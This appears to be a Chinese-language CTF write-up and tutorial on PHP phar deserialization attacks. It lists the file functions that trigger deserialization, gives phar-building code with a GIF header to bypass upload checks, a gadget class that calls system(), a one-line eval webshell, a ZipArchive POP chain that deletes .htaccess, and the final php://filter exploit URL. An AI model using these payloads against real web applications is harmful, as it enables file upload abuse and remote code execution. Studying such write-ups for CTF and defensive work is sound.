为了表示谢意,先放出大部分内容的参考链接
链接
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data
,这是上述攻击手法最核心的地方
根据文件结构我们来自己构建一个phar
文件,php
内置了一个Phar
类来处理相关操作
注意:要将php.ini
中的phar.readonly
选项设置为Off
,否则无法生成phar文件。
class TestObject {
//魔法函数(文件包含phar文件时会反序列化)
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.''); //设置stub,添加GIF头,可以绕过图片格式检查
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
phar
文件反序列化exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type
$zip = new ZipArchive();
$res = $zip->open('c.zip'); //我们将phar压缩后,将压缩包的文件改为gif,此时仍然可以解压
$zip->extractTo('phar://test.phar/test');
LOAD DATA LOCAL INFILE
也会触发这个php_stream_open_wrapper
.让我们测试一下
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置一下mysqld
[mysqld]
local-infile=1
secure_file_priv=""
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);
@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')
访问获得www.zip
index.php
页面验证登陆,可以任意账号登陆到upload.php
上传页面,但是只有admin
账号才能进行文件上传。upload.php
·,就会在沙盒下生成一个.htaccess
文件,内容为:lolololol, i control all
view details
可以进入view.php
,会回显文件的mime
类型以及文件路径。.htaccess
被写入了内容,无法解析,所以访问上传的文件会报500确认为哈希长度拓展攻击,具体的攻击方法就不一一列举了,百度一下就行了。
已知在长传的文件夹里存在.htaccess, 所以我们上传的php马无法被正确解析,我们要想办法删除.htaccess。
因为我们不知道临时存储的文件的目录,因此只能用第二种思路。
我们看到view.php中有个File
类,跟进File
类
上文已经提到过了,mime_content_type也可以出发phar发序列化。
同时我们注意到Profile类中有一个魔法函数__call
其中有一个open函数,而且admin,username ,password可控,于是我们查找那些类有open方法。
(ZipArchive,SessionHandler)
其中ZipArchive可以利用。
ZipArchive::open ( string $filename [, int $flags ] ) : mixed
这种用overwrite
方法,可以直接删除.htaccess
文件
注意这儿也可以打开非压缩文件,比如.htaccess
我们先上传一个马儿
$a = "sys"."tem";
eval($_POST["xxx"]);
?>
class File{
public $filename;
public $filepath;
public $checker;
}
class Profile{
public $username;
public $password;
public $admin;
}
$a=new File();
$a->checker=new Profile();
$a->checker->admin=new ZipArchive();
$a->checker->username="/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$a->checker->password=ZipArchive::OVERWRITE;
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>
通过php://filter
绕过waf的检测去触发phar
view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/9c7f4a2fbf2dd3dfb7051727a644d99f.phar